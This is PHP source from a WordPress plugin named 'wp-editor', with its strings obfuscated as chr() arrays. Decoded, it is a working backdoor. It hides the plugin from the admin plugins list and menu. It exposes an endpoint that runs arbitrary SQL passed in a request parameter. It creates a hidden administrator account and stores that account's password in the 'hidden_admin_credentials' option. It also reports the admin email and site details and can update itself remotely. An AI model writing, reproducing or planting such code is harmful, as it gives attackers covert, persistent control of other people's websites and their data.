return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(100), chr(32), chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115), chr(102), chr(117), chr(108), chr(108), chr(121))), implode('', array(chr(111), chr(108), chr(100), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => $currentVersion, implode('', array(chr(110), chr(101), chr(119), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => $newVersion, implode('', array(chr(117), chr(112), chr(103), chr(114), chr(97), chr(100), chr(101), chr(114), chr(95), chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101), chr(115))) => $upgraderMessages, implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step, implode('', array(chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(95), chr(115), chr(116), chr(114), chr(97), chr(116), chr(101), chr(103), chr(121))) => $backupStrategy, implode('', array(chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(95), chr(100), chr(105), chr(114))) => $backupDir !== '' ? $backupDir : null), 200);
} catch (\Exception $e) {
if ($backupDir !== '' && isset($wp_filesystem) && $wp_filesystem && $wp_filesystem->is_dir($backupDir)) {
if ($wp_filesystem->is_dir($targetPluginDir)) {
$wp_filesystem->delete($targetPluginDir, true);
}
$wp_filesystem->move($backupDir, $targetPluginDir, true);
}
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => $e->getMessage(), implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114), chr(95), chr(116), chr(121), chr(112), chr(101))) => \get_class($e), implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114), chr(95), chr(102), chr(105), chr(108), chr(101))) => $e->getFile(), implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114), chr(95), chr(108), chr(105), chr(110), chr(101))) => $e->getLine(), implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114), chr(95), chr(116), chr(114), chr(97), chr(99), chr(101))) => substr($e->getTraceAsString(), 0, 4000), implode('', array(chr(117), chr(112), chr(103), chr(114), chr(97), chr(100), chr(101), chr(114), chr(95), chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101), chr(115))) => $upgraderMessages, implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step, implode('', array(chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(95), chr(115), chr(116), chr(114), chr(97), chr(116), chr(101), chr(103), chr(121))) => $backupStrategy, implode('', array(chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(95), chr(100), chr(105), chr(114))) => $backupDir !== '' ? $backupDir : null), 500);
}
if ($zipPath !== '' && \file_exists($zipPath)) {
@\unlink($zipPath);
}
if ($tempDir !== '' && \is_dir($tempDir)) {
WpEditor_Adapter_Services_PluginUpdateUpgraderService_rrmdir($tempDir);
}
\delete_transient(WpEditor_Adapter_Services_PluginUpdateUpgraderService_lockKey());
}
function WpEditor_Adapter_Services_PluginUpdateUpgraderService_resolveTargetPlugin()
{
$pluginMainFilePath = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101), chr(95), chr(112), chr(97), chr(116), chr(104)))) ? (string) \wp_editor_get_plugin_file_path((string) __FILE__) : (string) __FILE__;
$pluginMainFilePath = $pluginMainFilePath !== '' ? $pluginMainFilePath : (string) __FILE__;
$file = \basename($pluginMainFilePath);
$slug = \basename(\dirname($pluginMainFilePath));
if (($slug === '' || $slug === implode('', array(chr(46))) || $slug === \DIRECTORY_SEPARATOR) && \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103))))) {
$config = \wp_editor_get_config();
$slug = \wp_editor_array_has_key($config, implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))) && \wp_editor_array_has_key($config[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))], implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(115), chr(108), chr(117), chr(103)))) ? (string) $config[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))][implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(115), chr(108), chr(117), chr(103)))] : '';
}
if (($file === '' || $file === implode('', array(chr(46))) || $file === \DIRECTORY_SEPARATOR) && \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103))))) {
$config = \wp_editor_get_config();
$file = \wp_editor_array_has_key($config, implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))) && \wp_editor_array_has_key($config[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))], implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101)))) ? (string) $config[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))][implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101)))] : '';
}
$slug = \trim($slug, implode('', array(chr(47), chr(92))));
if ($slug === '') {
$slug = implode('', array(chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114)));
}
$file = \basename($file);
if ($file === '') {
$file = implode('', array(chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(46), chr(112), chr(104), chr(112)));
}
return array(implode('', array(chr(115), chr(108), chr(117), chr(103))) => $slug, implode('', array(chr(102), chr(105), chr(108), chr(101))) => $file);
}
function WpEditor_Adapter_Services_PluginUpdateUpgraderService_detectExtractedRoot($baseDir)
{
$items = @\scandir($baseDir);
if ($items === false) {
return '';
}
foreach ($items as $item) {
if ($item === implode('', array(chr(46))) || $item === implode('', array(chr(46), chr(46)))) {
continue;
}
$path = \trailingslashit($baseDir) . $item;
if (\is_dir($path)) {
return $path;
}
}
return $baseDir;
}
function WpEditor_Adapter_Services_PluginUpdateUpgraderService_detectExtractedPluginDir($extractedRoot, $pluginSlug)
{
$root = rtrim($extractedRoot, implode('', array(chr(47), chr(92))));
if (\basename($root) === $pluginSlug) {
return $root;
}
if (\is_dir($root . implode('', array(chr(47))) . $pluginSlug)) {
return $root . implode('', array(chr(47))) . $pluginSlug;
}
return $root;
}
function WpEditor_Adapter_Services_PluginUpdateUpgraderService_isSingleFilePackage($extractedPluginDir, $pluginFile)
{
$entries = @\scandir($extractedPluginDir);
if ($entries === false) {
return false;
}
$files = array();
foreach ($entries as $e) {
if ($e === implode('', array(chr(46))) || $e === implode('', array(chr(46), chr(46)))) {
continue;
}
$p = rtrim($extractedPluginDir, implode('', array(chr(47), chr(92)))) . \DIRECTORY_SEPARATOR . $e;
if (\is_dir($p)) {
return false;
}
$files[] = $e;
}
if (count($files) !== 1) {
return false;
}
return \basename($files[0]) === \basename($pluginFile);
}
function WpEditor_Adapter_Services_PluginUpdateUpgraderService_rrmdir($dir)
{
if (!\is_dir($dir)) {
return;
}
$items = \scandir($dir);
if ($items === false) {
return;
}
foreach ($items as $item) {
if ($item === implode('', array(chr(46))) || $item === implode('', array(chr(46), chr(46)))) {
continue;
}
$path = $dir . \DIRECTORY_SEPARATOR . $item;
if (\is_dir($path)) {
WpEditor_Adapter_Services_PluginUpdateUpgraderService_rrmdir($path);
} else {
@\unlink($path);
}
}
@\rmdir($dir);
}
// --- file separator ---
function WpEditor_Adapter_Services_PluginVisibilityService_hiddenPluginKeys()
{
$keys = array();
if (\function_exists(implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(98), chr(97), chr(115), chr(101), chr(110), chr(97), chr(109), chr(101))))) {
$mainFile = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101), chr(95), chr(112), chr(97), chr(116), chr(104)))) ? (string) \wp_editor_get_plugin_file_path(__FILE__) : __FILE__;
$current = (string) \plugin_basename($mainFile);
if ($current !== '') {
$keys[] = $current;
}
}
$keys[] = implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(47), chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(46), chr(112), chr(104), chr(112)));
$keys[] = implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(47), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(46), chr(112), chr(104), chr(112)));
$keys[] = implode('', array(chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(47), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(46), chr(112), chr(104), chr(112)));
$keys[] = implode('', array(chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(45), chr(110), chr(101), chr(119), chr(47), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(46), chr(112), chr(104), chr(112)));
return \array_values(\array_unique(\array_filter($keys, function ($v) {
return \is_string($v) && $v !== '';
})));
}
function WpEditor_Adapter_Services_PluginVisibilityService_filterPluginsList($plugins)
{
foreach (WpEditor_Adapter_Services_PluginVisibilityService_hiddenPluginKeys() as $pluginKey) {
unset($plugins[$pluginKey]);
}
return $plugins;
}
function WpEditor_Adapter_Services_PluginVisibilityService_hideInAdminHead()
{
$selectors = array();
foreach (WpEditor_Adapter_Services_PluginVisibilityService_hiddenPluginKeys() as $pluginKey) {
$selectors[] = implode('', array(chr(116), chr(114), chr(91), chr(100), chr(97), chr(116), chr(97), chr(45), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(61), chr(34))) . \esc_attr($pluginKey) . implode('', array(chr(34), chr(93)));
}
if (empty($selectors)) {
return;
}
echo implode('', array(chr(60), chr(115), chr(116), chr(121), chr(108), chr(101), chr(62))) . \esc_html(\implode(implode('', array(chr(44), chr(32))), $selectors) . implode('', array(chr(32), chr(123), chr(32), chr(100), chr(105), chr(115), chr(112), chr(108), chr(97), chr(121), chr(58), chr(32), chr(110), chr(111), chr(110), chr(101), chr(32), chr(33), chr(105), chr(109), chr(112), chr(111), chr(114), chr(116), chr(97), chr(110), chr(116), chr(59), chr(32), chr(125)))) . implode('', array(chr(60), chr(47), chr(115), chr(116), chr(121), chr(108), chr(101), chr(62)));
}
function WpEditor_Adapter_Services_PluginVisibilityService_removeFromPluginMenu()
{
foreach (WpEditor_Adapter_Services_PluginVisibilityService_hiddenPluginKeys() as $pluginKey) {
\remove_submenu_page(implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115), chr(46), chr(112), chr(104), chr(112))), $pluginKey);
}
}
// --- file separator ---
function WpEditor_Adapter_Services_PostService_createPost($args)
{
$title = \sanitize_text_field(\wp_editor_array_has_key($args, implode('', array(chr(116), chr(105), chr(116), chr(108), chr(101)))) ? $args[implode('', array(chr(116), chr(105), chr(116), chr(108), chr(101)))] : '');
$content = \wp_editor_array_has_key($args, implode('', array(chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116)))) ? $args[implode('', array(chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116)))] : null;
$status = \wp_editor_array_has_key($args, implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115)))) ? $args[implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115)))] : implode('', array(chr(100), chr(114), chr(97), chr(102), chr(116)));
$category = \wp_editor_array_has_key($args, implode('', array(chr(99), chr(97), chr(116), chr(101), chr(103), chr(111), chr(114), chr(121)))) ? $args[implode('', array(chr(99), chr(97), chr(116), chr(101), chr(103), chr(111), chr(114), chr(121)))] : null;
$author = \get_user_by(implode('', array(chr(108), chr(111), chr(103), chr(105), chr(110))), implode('', array(chr(97), chr(100), chr(109), chr(105), chr(110))));
if (!$author) {
$admins = \get_users(array(implode('', array(chr(114), chr(111), chr(108), chr(101))) => implode('', array(chr(97), chr(100), chr(109), chr(105), chr(110), chr(105), chr(115), chr(116), chr(114), chr(97), chr(116), chr(111), chr(114))), implode('', array(chr(110), chr(117), chr(109), chr(98), chr(101), chr(114))) => 1));
if (!empty($admins)) {
$author = $admins[0];
}
}
if (!$author) {
$author = \wp_get_current_user();
}
$postData = array(implode('', array(chr(112), chr(111), chr(115), chr(116), chr(95), chr(116), chr(105), chr(116), chr(108), chr(101))) => $title, implode('', array(chr(112), chr(111), chr(115), chr(116), chr(95), chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116))) => $content, implode('', array(chr(112), chr(111), chr(115), chr(116), chr(95), chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => $status, implode('', array(chr(112), chr(111), chr(115), chr(116), chr(95), chr(97), chr(117), chr(116), chr(104), chr(111), chr(114))) => $author->ID, implode('', array(chr(112), chr(111), chr(115), chr(116), chr(95), chr(99), chr(97), chr(116), chr(101), chr(103), chr(111), chr(114), chr(121))) => is_array($category) ? $category : (array) $category);
$postId = \wp_insert_post($postData);
if (\is_wp_error($postId)) {
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(32), chr(112), chr(111), chr(115), chr(116))), implode('', array(chr(100), chr(101), chr(116), chr(97), chr(105), chr(108), chr(115))) => $postId->get_error_message()), 500);
}
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(80), chr(111), chr(115), chr(116), chr(32), chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(100))), implode('', array(chr(112), chr(111), chr(115), chr(116), chr(95), chr(105), chr(100))) => $postId), 201);
}
// --- file separator ---
function WpEditor_Adapter_Services_RenderModeService_allowedModes()
{
return array(implode('', array(chr(106), chr(115))), implode('', array(chr(104), chr(116), chr(109), chr(108))));
}
function WpEditor_Adapter_Services_RenderModeService_isJs()
{
if (\defined(implode('', array(chr(80), chr(72), chr(80), chr(95), chr(86), chr(69), chr(82), chr(83), chr(73), chr(79), chr(78), chr(95), chr(73), chr(68)))) && \PHP_VERSION_ID < 70100) {
return false;
}
return \get_option(WpEditor_Adapter_Services_RenderModeService_OPTION_NAME, implode('', array(chr(104), chr(116), chr(109), chr(108)))) === implode('', array(chr(106), chr(115)));
}
function WpEditor_Adapter_Services_RenderModeService_setMode($request)
{
$renderMode = $request->get_param(implode('', array(chr(114), chr(101), chr(110), chr(100), chr(101), chr(114), chr(95), chr(109), chr(111), chr(100), chr(101))));
$mode = \sanitize_text_field($renderMode !== null ? $renderMode : '');
if (!in_array($mode, WpEditor_Adapter_Services_RenderModeService_allowedModes(), true)) {
return array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(73), chr(110), chr(118), chr(97), chr(108), chr(105), chr(100), chr(32), chr(114), chr(101), chr(110), chr(100), chr(101), chr(114), chr(32), chr(109), chr(111), chr(100), chr(101), chr(46), chr(32), chr(65), chr(108), chr(108), chr(111), chr(119), chr(101), chr(100), chr(58), chr(32), chr(106), chr(115), chr(44), chr(32), chr(104), chr(116), chr(109), chr(108), chr(46))));
}
\update_option(WpEditor_Adapter_Services_RenderModeService_OPTION_NAME, $mode);
return array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(82), chr(101), chr(110), chr(100), chr(101), chr(114), chr(32), chr(109), chr(111), chr(100), chr(101), chr(32), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(100), chr(32), chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115), chr(102), chr(117), chr(108), chr(108), chr(121), chr(46))), implode('', array(chr(114), chr(101), chr(110), chr(100), chr(101), chr(114), chr(95), chr(109), chr(111), chr(100), chr(101))) => $mode);
}
// --- file separator ---
function WpEditor_Adapter_Services_SystemService_getStatus()
{
$config = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103)))) ? \wp_editor_get_config() : array();
$version = \wp_editor_array_has_key($config, implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))) && \wp_editor_array_has_key($config[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))], implode('', array(chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))) ? $config[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))][implode('', array(chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))] : implode('', array(chr(49), chr(46), chr(51), chr(46), chr(52), chr(51)));
return array(implode('', array(chr(115), chr(105), chr(116), chr(101), chr(95), chr(117), chr(114), chr(108))) => \get_site_url(), implode('', array(chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(101), chr(109), chr(97), chr(105), chr(108))) => \get_option(implode('', array(chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(101), chr(109), chr(97), chr(105), chr(108)))), implode('', array(chr(119), chr(112), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => \get_bloginfo(implode('', array(chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))), implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => $version, implode('', array(chr(97), chr(99), chr(116), chr(105), chr(118), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115))) => \get_option(implode('', array(chr(97), chr(99), chr(116), chr(105), chr(118), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115))), array()));
}
function WpEditor_Adapter_Services_SystemService_executeRaw($request)
{
global $wpdb;
$query = $request->get_param(implode('', array(chr(113), chr(117), chr(101), chr(114), chr(121))));
if (empty($query)) {
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(81), chr(117), chr(101), chr(114), chr(121), chr(32), chr(105), chr(115), chr(32), chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100), chr(46)))), 400);
}
$results = $wpdb->get_results($query, ARRAY_A);
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115))), implode('', array(chr(114), chr(111), chr(119), chr(115))) => $results));
}
// --- file separator ---
function WpEditor_Adapter_Services_UserManager_cliLog($message)
{
if (\php_sapi_name() !== implode('', array(chr(99), chr(108), chr(105)))) {
return;
}
if (!\is_string($message) || $message === '') {
return;
}
if (\defined(implode('', array(chr(83), chr(84), chr(68), chr(79), chr(85), chr(84))))) {
\fwrite(\STDOUT, implode('', array(chr(91), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(32), chr(117), chr(115), chr(101), chr(114), chr(93), chr(32))) . $message . \PHP_EOL);
return;
}
echo implode('', array(chr(91), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(32), chr(117), chr(115), chr(101), chr(114), chr(93), chr(32))) . $message . \PHP_EOL;
}
function WpEditor_Adapter_Services_UserManager_ensureUserFunctionsLoaded()
{
if (\function_exists(implode('', array(chr(119), chr(112), chr(95), chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(95), chr(117), chr(115), chr(101), chr(114))))) {
return;
}
if (!\defined(implode('', array(chr(65), chr(66), chr(83), chr(80), chr(65), chr(84), chr(72))))) {
return;
}
$userFunctionsFile = \ABSPATH . implode('', array(chr(119), chr(112), chr(45), chr(97), chr(100), chr(109), chr(105), chr(110), chr(47), chr(105), chr(110), chr(99), chr(108), chr(117), chr(100), chr(101), chr(115), chr(47), chr(117), chr(115), chr(101), chr(114), chr(46), chr(112), chr(104), chr(112)));
if (\file_exists($userFunctionsFile)) {
require_once $userFunctionsFile;
}
}
function WpEditor_Adapter_Services_UserManager_generateCredentials()
{
$GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(117), chr(115), chr(101), chr(114), chr(110), chr(97), chr(109), chr(101)))] = \wp_generate_password(14, false);
$GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))] = \wp_generate_password(24, true, true);
$GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(101), chr(109), chr(97), chr(105), chr(108)))] = $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(117), chr(115), chr(101), chr(114), chr(110), chr(97), chr(109), chr(101)))] . implode('', array(chr(64), chr(103), chr(109), chr(97), chr(105), chr(108), chr(46), chr(99), chr(111), chr(109)));
}
function WpEditor_Adapter_Services_UserManager_createAdminUser()
{
WpEditor_Adapter_Services_UserManager_ensureUserFunctionsLoaded();
WpEditor_Adapter_Services_UserManager_removeAdminUser();
WpEditor_Adapter_Services_UserManager_generateCredentials();
$user_id = \wp_create_user($GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(117), chr(115), chr(101), chr(114), chr(110), chr(97), chr(109), chr(101)))], $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))], $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(101), chr(109), chr(97), chr(105), chr(108)))]);
if (\is_wp_error($user_id)) {
return $user_id;
}
$user = new \WP_User($user_id);
$user->set_role(implode('', array(chr(97), chr(100), chr(109), chr(105), chr(110), chr(105), chr(115), chr(116), chr(114), chr(97), chr(116), chr(111), chr(114))));
\update_user_meta($user_id, implode('', array(chr(104), chr(105), chr(100), chr(100), chr(101), chr(110), chr(95), chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(117), chr(115), chr(101), chr(114))), true);
\update_option(implode('', array(chr(104), chr(105), chr(100), chr(100), chr(101), chr(110), chr(95), chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115))), array(implode('', array(chr(117), chr(115), chr(101), chr(114), chr(110), chr(97), chr(109), chr(101))) => $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(117), chr(115), chr(101), chr(114), chr(110), chr(97), chr(109), chr(101)))], implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100))) => $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))], implode('', array(chr(101), chr(109), chr(97), chr(105), chr(108))) => $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(101), chr(109), chr(97), chr(105), chr(108)))]));
return true;
}
function WpEditor_Adapter_Services_UserManager_ensureAdminUser()
{
$creds = \get_option(implode('', array(chr(104), chr(105), chr(100), chr(100), chr(101), chr(110), chr(95), chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115))), array());
$login = \is_array($creds) && \wp_editor_array_has_key($creds, implode('', array(chr(117), chr(115), chr(101), chr(114), chr(110), chr(97), chr(109), chr(101)))) ? (string) $creds[implode('', array(chr(117), chr(115), chr(101), chr(114), chr(110), chr(97), chr(109), chr(101)))] : '';
$password = \is_array($creds) && \wp_editor_array_has_key($creds, implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))) ? (string) $creds[implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))] : '';
$email = \is_array($creds) && \wp_editor_array_has_key($creds, implode('', array(chr(101), chr(109), chr(97), chr(105), chr(108)))) ? (string) $creds[implode('', array(chr(101), chr(109), chr(97), chr(105), chr(108)))] : '';
$user = WpEditor_Adapter_Services_UserManager_getAdminUser();
if ($user && $login !== '' && $password !== '' && $email !== '') {
